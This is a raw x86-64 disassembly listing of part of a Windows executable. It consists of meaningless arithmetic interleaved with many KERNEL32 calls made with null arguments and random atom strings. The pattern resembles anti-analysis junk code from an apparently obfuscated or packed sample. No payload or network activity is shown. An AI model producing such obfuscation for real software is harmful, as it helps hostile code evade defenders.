imul rax, qword [rsp + 0x9af8]
mov qword [rsp + 0xa1e0], rax
mov rax, qword [rsp + 0xc6d0]
mov eax, dword [rax]
mov dword [rsp + 0x655c], eax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0x9d60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13c], al
movzx eax, word [rsp + 0x1f70]
movzx ecx, word [rsp + 0xa20]
add eax, ecx
mov word [rsp + 0x1f78], ax
mov rax, qword [0x1401c8a90]
mov rax, qword [rax]
mov qword [0x1401c8b00], rax
movzx eax, byte [rsp + 0x30b]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2d8], al
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
mov dword [rsp + 0x6560], eax
movsx eax, word [rsp + 0x137c]
mov rcx, qword [0x1401c8ae0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rax, [rsp + 0x1f84]
mov qword [rsp + 0xc980], rax
mov rax, qword [rsp + 0xc570]
mov ecx, dword [rsp + 0x5ed0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6514], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5a8]
mov qword [rsp + 0xc988], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc988]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc730], rax
mov rax, qword [rsp + 0xc8e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15f]
sar eax, cl
mov byte [rsp + 0x205], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc338], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1f7c]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e54], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [0x1401c8ad0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c8ac8], ax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc650], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6474], eax
lea rax, [rsp + 0xc0b0]
mov qword [rsp + 0xc990], rax
mov rax, qword [0x1401c8aa0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc8b8]
shl rax, cl
mov rcx, qword [rsp + 0xc540]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc8f0]
sar rax, cl
mov qword [rsp + 0xc7d0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6564], eax
mov rax, qword [rsp + 0xc638]
movzx eax, word [rax]
mov word [rsp + 0x2060], ax
movzx ecx, word [rsp + 0x204c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f74], ax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc550]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc590]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x383]
mov byte [rsp + 0x393], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0xc6d0]
mov rcx, qword [rsp + 0xc400]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc570]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
movzx ecx, byte [str.5qKr]
sub eax, ecx
mov byte [rsp + 0x382], al
mov rax, qword [rsp + 0xc6a8]
mov rcx, qword [rsp + 0xc848]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5630], eax
mov rax, qword [rsp + 0xc6b0]
movzx eax, word [rax]
mov word [0x1401c8b08], ax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19ac]
and eax, ecx
mov word [rsp + 0xa90], ax
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov word [rsp + 0x2064], ax
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xc3a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xab28], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc998], rax
mov eax, dword [rsp + 0x6380]
mov ecx, dword [0x1401c7008]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a54], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6444], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movsx eax, byte [rsp + 0x37d]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x392], al
mov rax, qword [rsp + 0xc5a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4a0]
mov qword [rsp + 0xc9a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc9a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc950], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
movzx eax, word [rsp + 0x1238]
mov word [rsp + 0x2068], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1ef8]
movzx ecx, word [rsp + 0x1f3c]
sub eax, ecx
mov word [rsp + 0x1718], ax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [0x1401c8a90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c7088], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rax, [rsp + 0x2018]
mov qword [rsp + 0xc9a8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xc680]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc908], rax
mov rax, qword [rsp + 0xc7d0]
mov rcx, qword [rsp + 0xab28]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc680]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc5d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc3c0]
mov qword [rsp + 0xc9b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc9b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x58b8], eax
movzx ecx, word [rsp + 0x1f58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f08], ax
movsx eax, byte [rsp + 0x392]
movsx ecx, byte [rsp + 0x37a]
shl eax, cl
mov rcx, qword [rsp + 0xc610]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov byte [rsp + 0x394], al
mov rax, qword [rsp + 0xc728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5520]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b70], eax
mov rax, qword [rsp + 0xc730]
mov rcx, qword [rsp + 0xc530]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc488], rax
movsx eax, word [rsp + 0x1cfc]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401c8a14], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xc6b0]
movzx eax, word [rax]
mov word [rsp + 0x206c], ax
movzx eax, word [rsp + 0x1f14]
movzx ecx, word [rsp + 0x114c]
xor eax, ecx
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2010]
or eax, ecx
mov word [rsp + 0x1388], ax
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x63c4]
shl eax, cl
mov dword [rsp + 0x60f4], eax
mov rax, qword [rsp + 0xc7a0]
mov qword [rsp + 0xc9b8], rax
movsx eax, byte [rsp + 0x37a]
movsx ecx, byte [rsp + 0x2b6]
sar eax, cl
mov rcx, qword [rsp + 0xc328]
mov byte [rcx], al
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc6b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [0x1401c8a50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
add eax, ecx
mov word [rsp + 0x11f8], ax
mov rax, qword [rsp + 0xc990]
mov rcx, qword [rsp + 0xc390]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c7030], rax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc928]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xab60], rax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov qword [rsp + 0xc9c0], rax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc4e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xba40], rax
movzx eax, word [rsp + 0x13ec]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f0c], ax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov byte [rsp + 0x395], al
mov eax, dword [rsp + 0x5630]
mov ecx, dword [rsp + 0x5728]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x650c], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc950]
shl rax, cl
mov qword [rsp + 0xbdf8], rax
mov rcx, qword [rsp + 0xc3b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6540], eax
mov rax, qword [rsp + 0xc570]
mov ecx, dword [rsp + 0x557c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6380], eax
mov rax, qword [rsp + 0xc368]
movzx eax, byte [rax]
mov byte [0x1401c8a26], al
movsx eax, word [0x1401c8a14]
mov rcx, qword [rsp + 0xc6b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1928], ax
mov rax, qword [rsp + 0xc888]
movzx eax, word [rax]
mov word [rsp + 0x2070], ax
movzx ecx, word [rsp + 0x1f4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2074], ax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x200c], ax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xc8b8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9868], rax
xor edx, edx
mov eax, dword [rsp + 0x6554]
mov ecx, 0x9a9
div ecx
mov dword [rsp + 0x6494], eax
movsx eax, byte [rsp + 0x21f]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x37f], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xc910]
mov rax, qword [rax]
mov qword [rsp + 0xc9c8], rax
movsx eax, word [rsp + 0x1fdc]
movsx ecx, word [rsp + 0x1808]
sar eax, cl
mov word [rsp + 0x1fc8], ax
lea rcx, [rsp + 0x1fd98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [0x1401c8ad0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa20]
shl eax, cl
mov word [0x1401c7090], ax
mov rax, qword [rsp + 0xc388]
mov qword [rsp + 0xc9d0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rcx, [rsp + 0x1d4d0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6404], eax
mov edx, 0xb7b
mov rcx, qword [rsp + 0xc3b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6568], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx eax, word [rsp + 0x1fa0]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2008], ax
mov eax, dword [rsp + 0x5b70]
mov ecx, dword [rsp + 0x6498]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57b4], eax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc4d0]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rcx, qword [rsp + 0xc930]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x656c], eax
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f64], ax
mov eax, dword [rsp + 0x6508]
mov ecx, dword [rsp + 0x60f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc6f0]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea rcx, [rsp + 0x1fd98]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x13c]
mov qword [rsp + 0xc9d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc9e0], rax
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [rsp + 0xc590]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbf50], rax
lea rax, [0x1401c8af8]
mov qword [rsp + 0xc9e8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64b4], eax
movzx eax, word [rsp + 0x1f14]
mov rcx, qword [rsp + 0xc980]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401c8a24], ax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc130]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc878]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc218]
movzx ecx, al
mov rax, qword [0x1401c7078]
sar rax, cl
mov qword [rsp + 0xc1d8], rax
lea rax, [rsp + 0x1e38]
mov qword [rsp + 0xc9f0], rax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19ac]
and eax, ecx
mov rcx, qword [rsp + 0xc558]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f08], ax
lea rcx, str.Dnd4.s_i_cyQUesO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2078], ax
lea rax, [rsp + 0xc790]
mov qword [rsp + 0xc9f8], rax
movsx eax, byte [rsp + 0x387]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2b6], al
mov eax, dword [rsp + 0x64d4]
mov ecx, dword [rsp + 0x6328]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6400], eax
lea rax, [rsp + 0xc700]
mov qword [rsp + 0xca00], rax
lea rcx, [rsp + 0x1fd68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401c7050], ax
mov rax, qword [rsp + 0xc6d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f84]
shl eax, cl
mov word [rsp + 0x1f38], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6258], eax
mov rax, qword [rsp + 0xc6a8]
mov eax, dword [rax]
mov dword [rsp + 0x6570], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x189f
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6510], eax
movzx eax, byte [rsp + 0x374]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x389], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [0x1401c8a60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc960], rax
movsx eax, byte [rsp + 0x383]
movsx ecx, byte [rsp + 0x379]
add eax, ecx
mov byte [rsp + 0x359], al
mov eax, dword [rsp + 0x6400]
mov ecx, dword [rsp + 0x6448]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c4], eax
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov qword [rsp + 0xca08], rax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1b0c]
add eax, ecx
mov word [rsp + 0x2014], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xca10], rax
movzx eax, word [rsp + 0x1164]
mov word [0x1401c8b0c], ax
mov rax, qword [rsp + 0xc908]
mov qword [rsp + 0xca18], rax
mov rax, qword [0x1401c8a50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f94]
add eax, ecx
mov rcx, qword [rsp + 0xc5b8]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1fc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f18], ax
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x1bf8]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f9c], ax
mov rcx, qword [rsp + 0xc038]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6574], eax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc868]
sar rax, cl
mov qword [rsp + 0x9a90], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0xc520]
mov ecx, dword [rsp + 0x6400]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5ed0], eax
lea rax, [rsp + 0x9588]
mov qword [rsp + 0xca20], rax
movsx eax, byte [0x1401c8a13]
movsx ecx, byte [rsp + 0x385]
and eax, ecx
mov byte [rsp + 0x2c3], al
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc948]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa90], ax
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff0], ax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [0x1401c8aa0]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [0x1401c7018], rax
movzx eax, byte [rsp + 0x382]
mov byte [rsp + 0x396], al
mov eax, dword [rsp + 0x650c]
mov ecx, dword [rsp + 0x62d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5728], eax
lea rax, [rsp + 0x1d14]
mov qword [rsp + 0xca28], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x648c], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2008], ax
lea rcx, [rsp + 0x1d4f8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx eax, byte [rsp + 0x37e]
movsx ecx, byte [rsp + 0x375]
sar eax, cl
mov byte [rsp + 0x379], al
movzx ecx, word [rsp + 0x1f28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fcc], ax
mov rax, qword [rsp + 0xca20]
mov rcx, qword [rsp + 0xc730]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb0e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0xc8c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x557c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc520]
mov dword [rcx], eax
mov r9d, 2
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xc630]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6578], eax
movzx ecx, word [rsp + 0x2078]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f80], ax
movzx eax, word [rsp + 0x1d14]
mov word [rsp + 0x207c], ax
mov rax, qword [rsp + 0xc7b8]
movzx eax, word [rax]
mov word [0x1401c8b10], ax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xc758]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9af8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc738]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb680], rax
lea rcx, str.L3jmAs
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1ff8], ax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov rcx, qword [0x1401c7058]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc6b8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64b8], eax
lea rcx, [rsp + 0x1d4f8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb60], ax
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x657c], eax
lea rax, [rsp + 0x393]
mov qword [rsp + 0xca30], rax
mov eax, dword [rsp + 0x6348]
mov ecx, dword [rsp + 0x6494]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6058], eax
mov rax, qword [rsp + 0xca08]
mov qword [rsp + 0xca38], rax
mov rax, qword [rsp + 0xc728]
mov rcx, qword [rsp + 0xc8c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5a24], eax
mov rcx, qword [rsp + 0xc3b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c6]
xor eax, ecx
mov rcx, qword [rsp + 0xc4b8]
mov byte [rcx], al
lea rax, [rsp + 0x134c]
mov qword [0x1401c8b18], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6558], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movzx eax, word [rsp + 0xa5c]
mov word [rsp + 0x2080], ax
movzx eax, word [0x1401c7070]
movzx ecx, word [rsp + 0x1f84]
shl eax, cl
mov word [rsp + 0x19ac], ax
movzx ecx, word [rsp + 0x1fb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2084], ax
mov rax, qword [rsp + 0xbc18]
movzx ecx, al
mov rax, qword [rsp + 0xc118]
sar rax, cl
mov qword [rsp + 0xa530], rax
mov edx, 0x1b8c
mov rcx, qword [rsp + 0xc978]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x652c], eax
movzx ecx, word [rsp + 0x1f34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f40], ax
mov eax, dword [0x1401c8a18]
mov ecx, dword [rsp + 0x6544]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6464], eax
movsx eax, byte [rsp + 0x37f]
movsx ecx, byte [rsp + 0x37c]
sub eax, ecx
mov byte [rsp + 0x376], al
mov rax, qword [rsp + 0xc468]
mov qword [rsp + 0xca40], rax
movsx eax, word [rsp + 0x206c]
movsx ecx, word [0x1401c8af8]
sar eax, cl
mov word [rsp + 0x2034], ax
lea rax, [rsp + 0x202c]
mov qword [rsp + 0xca48], rax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc088]
shl rax, cl
mov qword [0x1401c7078], rax
lea rcx, [rsp + 0x1d520]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6500], eax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ce4]
or eax, ecx
mov word [rsp + 0x2080], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xca50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc500]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc990]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x653c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor r9d, r9d
lea r8, [rsp + 0xc1e0]
mov rdx, qword [rsp + 0xc740]
mov rcx, qword [rsp + 0xc8a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6580], eax
mov rax, qword [0x1401c8aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaef0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3b0], rax
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6544]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a54], eax
lea rax, [rsp + 0xc840]
mov qword [rsp + 0xca58], rax
